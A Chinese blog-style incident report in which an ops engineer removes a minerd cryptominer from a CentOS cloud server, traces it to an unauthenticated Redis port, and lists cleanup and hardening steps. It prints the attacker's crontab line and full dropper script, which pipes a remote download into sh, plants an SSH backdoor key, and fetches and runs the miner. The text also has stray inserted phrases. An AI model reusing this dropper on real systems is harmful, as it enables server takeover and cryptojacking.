我的阿里云服务器被植入挖矿病毒，CPU飙升300%，看我怎么救

一、问题现象

周五下午6点，我下班了，正准备收拾东西回家，突然电话响了，来电者是我们的一位客户，告诉我他们的一个在线闪购系统没有工作，看来又要加班了，这就是运维工程师的生活。 很难按时下班！ 这就是所谓的黑色星期五吗？

打开计算机，连接到客户端服务器，看看为什么。 客户的服务器运行在阿里云上。 我们开发和维护处于起步阶段的项目。 项目交付后，交由客户运维。 所以我们还有很多客户端服务器信息。

先说客户的应用系统环境。 操作系统为centos7.9，应用系统为java+mysql+redis运行环境。 客户说他们的电商平台周五下午有一个大型的闪购活动，从下午2:00开始。 早上结束的时候，秒杀系统一开始还好好的，但是到了下午6点之后，就突然不可用了。 前台提交秒杀请求后没有任何响应，最后超时退出。

得知客户的系统故障后，感觉很奇怪。 为什么一开始秒杀系统是正常的，6点以后突然不正常了。 第一感觉：工作中有没有什么计划任务？

2.分析问题

现象只是问题的表面。 要了解本质，必须“深入虎穴”。 先登录服务器查看整个系统的运行状态，再做进一步的判断。 top命令执行后，截图如下：

这台服务器16核32GB内存，硬件资源配置还是很高的。 但是从图中可以看出系统的平均负载偏高比特币挖多少年挖完，发现在10以上。有一个minerd进程，pid为16717，占用CPU资源较多。 minerd进程是root用户启动的，已经启动了35分45秒。 看来这个过程才刚刚开始。

这下弄得我有点糊涂了，还是想不通。 这时候我看了看表，现在时间是周五18:35。 然后，我问客户，秒杀系统出问题多久了？ 客户回答说大约35分钟。

问题似乎在一步步被发现。

2.1. 跟踪minerd的未知进程

现在再回到minerd的未知进程：一个进程突然启动，占用大量CPU资源。 这是一个怎样的过程？ 于是，带着疑惑，搜索了一下，大吃一惊。 这是一个挖矿程序。

什么是挖矿，这里简单介绍一下：所谓“挖矿”，本质上就是用计算机来解决一个复杂的数学问题。 这是一个用来赚取比特币的程序。 挖矿消耗计算资源来处理交易、保护网络并使网络上的每个人保持同步。 可以理解为比特币的数据中心，不同的是它是完全去中心化的设计，矿工在世界各国运作，没有人可以控制网络。 这个过程被称为“采矿”，因为它类似于淘金。

任何人都可以通过在专用硬件上运行软件程序来成为比特币矿工。 挖矿软件通过 P2P 网络监听交易广播并执行任务来处理和确认这些交易。 完成这些任务后，比特币矿工有机会获得一定数量的比特币作为赏金，但付出的代价是需要大量的计算资源。 挖矿软件根据特定算法进行大量计算，会占用大量CPU，导致系统卡顿，严重的直接瘫痪。

近年来，比特币的价格一直在飙升。 现在大家玩比特币挖矿的也不少，但是大多都是使用矿机或者显卡来完成计算。 事实上，最初的比特币挖矿是使用计算机的 CPU 完成的。 ，虽然CPU的算力远不及显卡和矿机，但不代表CPU不能挖矿。 用CPU挖矿的软件有很多，最著名的就是minerd，这是一款比特币挖矿程序，可以运行在服务器上进行挖矿，占用CPU资源较多。

好了，题外话结束，我们回到这个案例。 既然我们知道这是一个挖矿程序，那么接下来要解决的问题是什么呢？

1、挖矿程序已经影响系统运行，必须立即关闭并删除挖矿程序。

2、挖矿程序是如何植入的，需要检查植入的原因。

3、想办法植入挖矿程序，然后堵住漏洞。

2.2. 清除minerd挖矿流程

上面看到挖矿程序minerd的pid是16717，那么可以根据进程ID查询生成进程的程序路径，执行ls -al /proc/$PID/exe即可得到pid路径对应的可执行文件，其中$PID为查询到的进程ID。

[root@localhost ~]#  ls -al /proc/16717/exe lrwxrwxrwx 1 root root 0 Apr 25 13:59 /proc/5423/exe -> /var/tmp/minerd

找到清除挖矿程序的程序路径和pid，如下：

[root@localhost ~]#  kill -9 16717 [root@localhost ~]#  rm -rf /var/tmp/minerd

清空后查看top的系统进程状态，minerd进程已经不存在了，系统负载开始下降。 但我的直觉告诉我，这个挖矿过程并没有那么简单。

果然，清除挖矿程序5分钟后，发现minerd进程又启动了。

根据一个资深运维的经验，感觉应该把crontab写成定时任务。 那么，让我们开始检查系统的crontab文件的内容。

linux下有系统级crontab和用户级crontab。 定义用户级crontab后，会在/var/spool/cron目录下创建用户对应的定时任务脚本，系统级crontab可以直接查看/etc/crontab文件。

首先查看/var/spool/cron目录，查看系统中是否存在异常的用户计划任务脚本。 如下：

[root@localhost cron]# ll /var/spool/cron/ total 4 drwxr-xr-x 2 root root  6 Oct 18 19:01 crontabs -rw------- 1 root root 80 Oct 18 19:04 root [root@localhost cron]# cat /var/spool/cron/root */5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh [root@localhost cron]# cat /var/spool/cron/crontabs/root */5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh

可以发现在/var/spool/cron/root和/var/spool/cron/crontabs/root这两个文件中都写有定时任务。 两个定时任务是一样的，定时任务的设置策略是：

每天18:00-23:00，0:00-7:00，期间每5分钟执行一次curl操作。 这个 curl 操作会从 r.chanstring.com 网站下载一个脚本，然后在本地服务器上执行。

这里有一件非常有趣的事情。 本次定时任务的执行时间恰好在非工作日（8:00~23:00、0:00~7:00）。 这个黑客还是很有想法的。 在非工作日，借用客户的服务器偷偷挖矿。 这个时间段非常隐蔽，不容易发现服务器异常。 也正好解释了上面客户提到的18:00之后秒杀系统异常的原因。

现在您已经找到了下载脚本的站点，让我们看看下载的脚本是什么以及它做了什么。 这个网站很明显是一个api接口，下载内容如下：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/root  if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restart fi  if [ ! -f "/var/tmp/minerd" ]; then  curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd  chmod +x /var/tmp/minerd  /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x fi ps auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x  if [ ! -f "/etc/init.d/lady" ]; then  if [ ! -f "/etc/systemd/system/lady.service" ]; thencurl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66  fi fi  service lady start systemctl start lady.service /etc/init.d/lady start

这是一个非常简单的shell脚本，基本的执行逻辑是：

1.将定时任务写入/var/spool/cron/root和/var/spool/cron/crontabs/root文件。

2. 然后查看/root/.ssh/KHK75NEOiq文件（这个应该是公钥文件）是否存在。 如果没有，将公钥写入服务器，修改/etc/ssh/sshd_config的配置。

3、查看挖矿程序/var/tmp/minerd是否存在，如果不存在，从网上下载一个，然后授权，最后启动挖矿程序。 同时还会检查挖矿进程是否存在，如果不存在则重启挖矿进程。 其中-o参数后面是矿池地址和端口号，-u参数后面是黑客自己的钱包地址，-p参数是密码，随便填就可以了。

至此，挖矿程序的运行机制基本清晰。 但是，客户的问题还没有解决！

那么黑客是如何将挖矿程序植入系统的呢？ 这个问题需要调查。

2.3. 寻找挖矿程序植入源

为了弄清矿工是如何被植入系统的，让我们继续在系统中寻找问题，试图找到一些漏洞或被入侵的迹象。

考虑到秒杀系统运行的是mysql、redis、tomcat、nginx，我们先检查一下这些端口是否安全。 执行命令得到如下结果：

从netstat命令的输出可以看出系统开启了多个端口，nginx对应的端口为80，允许所有IP（0.0.0.0）访问。 另外，redis开启6380端口，mysql开启3306端口，默认都是绑定的。 设置为 0.0.0.0。 此外，还有8080和8009端口。 这个应该是tomcat启动的端口。

激活的端口那么多，其中80、3306、6380都在0.0.0.0上监听，有一定的风险，但是可以通过防火墙屏蔽这些端口。 说到防火墙，我们接下来看看iptables的配置。 规则如下：

从输出的iptables规则中，我立刻发现了一个不正常的规则，就是6380端口，这个端口是对全网（0.0.0.0）开放的。 这是一个非常危险的规则。 6380如何对全网开放？ ，80端口也全网开放，这个一定要开放，没问题。 但是3306端口在防火墙规则中是不显示的，INPUT链默认是DROP模式，即3306端口不对外网开放，是安全的。

发现6380端口是全网开放的，于是尝试连接外网看看情况，执行如下：

[root@client189 ~]# redis-cli  -h 182.16.21.32 -p 6380 182.16.21.32:6380> info # Server redis_version:3.2.12 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:3dc3425a3049d2ef redis_mode:standalone os:Linux 3.10.0-862.2.3.el7.x86_64 x86_64 ......

这太棒了。 可以免密码远程登录，还可以查看redis信息，执行redis命令。

至此，问题找到，redis无密码登录，并且redis的6380端口全网开放，导致入侵。

最后想问下为什么要全网开放6380端口。 客户回忆运维团队因为开发需要在家处理远程连接redis，所以在服务器上开了6380端口，但是开发过程中出了点问题，运维团队忘记关闭这个端口. 至此运维成功。

其实我觉得这是合作机制的问题。 DevOps 协调需要完善的协作机制。 对于在线服务器来说，端口是不能随意对外开放的。 由于处理问题的不确定性，运维必须要有一个在线的服务器保护机制，比如通过VPN、跳板等。一方面可以保证你可以随时随地工作，另一方面，您还可以确保在线服务器的安全。

3.问题解决

至此，我们基本上找到了失败的原因。 整理思路，总结如下：

(1)黑客通过扫描软件扫描服务器的6380端口，发现该端口对应的redis服务没有密码校验，于是入侵系统。

(2)在系统中植入挖矿程序，通过crontab定期检查挖矿程序。 如果程序关闭，会自动下载并自动运行挖矿。

（3）挖矿程序启动时间为每天18:00，运行至次日早上7:00，恰逢18:00客户秒杀系统出现故障。

（4）挖矿程序启动后，会大量占用系统的CPU资源，最终导致秒杀系统无可用资源，进而导致系统瘫痪。

问题找到了，思路也理清了，那怎么解决问题呢，其实解决问题很简单。 解决问题分为两个阶段，如下：

3.1. 彻底清除植入的挖矿程序

(1) 首先，删除定时任务脚本中的异常配置项。 如果当前系统之前没有配置过定时任务，可以直接执行rm -rf /var/spool/cron/删除定时任务目录下的所有内容。

(2) 删除黑客创建的密钥认证文件。 如果当前系统之前没有配置密钥认证，可以直接执行rm -rf /root/.ssh/清空认证存放目录。 如果配置了密钥认证，需要删除指定黑客创建的认证文件。 当前脚本的密钥文件名为KHK75NEOiq。 此名称可能会发生变化，因此请根据具体情况将其删除。

(3)修复sshd配置文件/etc/ssh/sshd_config，看上面植入的步骤，黑客主要修改了PermitRootLogin、RSAAuthentication、PubkeyAuthentication等几个配置项比特币挖多少年挖完，同时也修改了密钥认证文件名KHK75NEOiq，是建议修改为 默认值为“AuthorizedKeysFile .ssh/authorized_keys”。 修改完成后重启sshd服务使配置生效。 或者最简单的方法是从其他正常系统复制一个 sshd_config 并覆盖它。

(4) 删除/etc/init.d/lady文件、/var/tmp/minerd文件、/var/tmp/KHK75NEOiq66文件、/etc/systemd/system/lady.service文件及所有可疑内容。

(5)用top命令查看挖矿程序的pid，然后根据pid找到可执行文件的路径，最后删除，同时杀掉pid。

(6)从/etc/rc.local、/etc/init.d/查看是否有开机自动启动的挖矿程序，有则删除。

通过这几个步骤，基本上可以彻底清除被植入的挖矿程序。 当然，我们还要继续监控观察挖矿程序是否会自动启动并执行。 经过几个小时的观察，异常的挖矿程序并没有再次启动。 看来病毒已经被彻底清除了。

3.2. 系统安全加固

安全加固主要在以下几个方面进行：

1.设置防火墙，禁止外网访问Redis

这个失败的主要原因是系统对外暴露了6380端口。 所以关闭iptables的6380端口势在必行。 可以执行以下命令删除开放的6380端口。

iptables -D 输入 -p tcp -m tcp --dport 6380 -j 接受

2.以低权限运行Redis服务器

这种情况下redis的启动用户是root，很不安全。 一旦redis被黑，黑客将拥有root用户权限。 因此，建议以普通用户身份启动redis。

3.修改默认redis端口

redis的默认端口为6379，常用的扫描软件会扫描一批6379、6380、6381等redis端口，因此也需要修改redis服务的默认端口，将端口改为不易被扫描到的陌生端口，例如36138等。

4.为redis设置密码验证

修改redis配置文件redis.conf，增加如下内容：

要求通过我的密码

其中mypassword是redis的密码。 添加密码后需要重启redis才能生效。 如何验证密码是否有效可以按如下方式进行：

[root@localhost ~]# redis-cli -h 127.0.0.1 127.0.0.1:6379> info NOAUTH Authentication required. 127.0.0.1:6379> auth mypassword OK 127.0.0.1:6379> info # Server redis_version:3.2.12 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:3dc3425a3049d2ef redis_mode:standalone os:Linux 3.10.0-862.2.3.el7.x86_64 x86_64 。。。。。。

上面的操作，在没有输入密码的情况下登录后，执行info，发现验证失败，再输入auth后输入密码，验证成功。

这里注意，不要直接在linux命令行输入-a参数，像这样：

[root@localhost ~]# redis-cli -h 127.0.0.1 -a mypassword

-a参数后面是明文密码，非常不安全。

5.保证authorized_keys文件的安全

authorized_keys 文件非常重要。 它存储了本地系统的帐户信息，允许远程计算机系统ssh 免密码登录。 即远程计算机无需输入密码即可通过任意账号远程登录系统。 默认情况下，该文件具有 600 的权限才能正常工作。 为了安全起见，可以将authorized_keys的权限设置为所有者只读，其他用户无权限，即：

chmod 400 ~/.ssh/authorized_keys

同时为了保证authorized_keys的权限不被改变，还建议设置文件的immutable bit权限：

chattr +i ~/.ssh/authorized_keys

这样 authorized_keys 文件就被锁定了。 如果没有解锁，root用户不能修改这个文件。

经过以上五步操作，故障基本解决，客户秒杀系统恢复正常。 从故障排除到排除故障用了40分钟。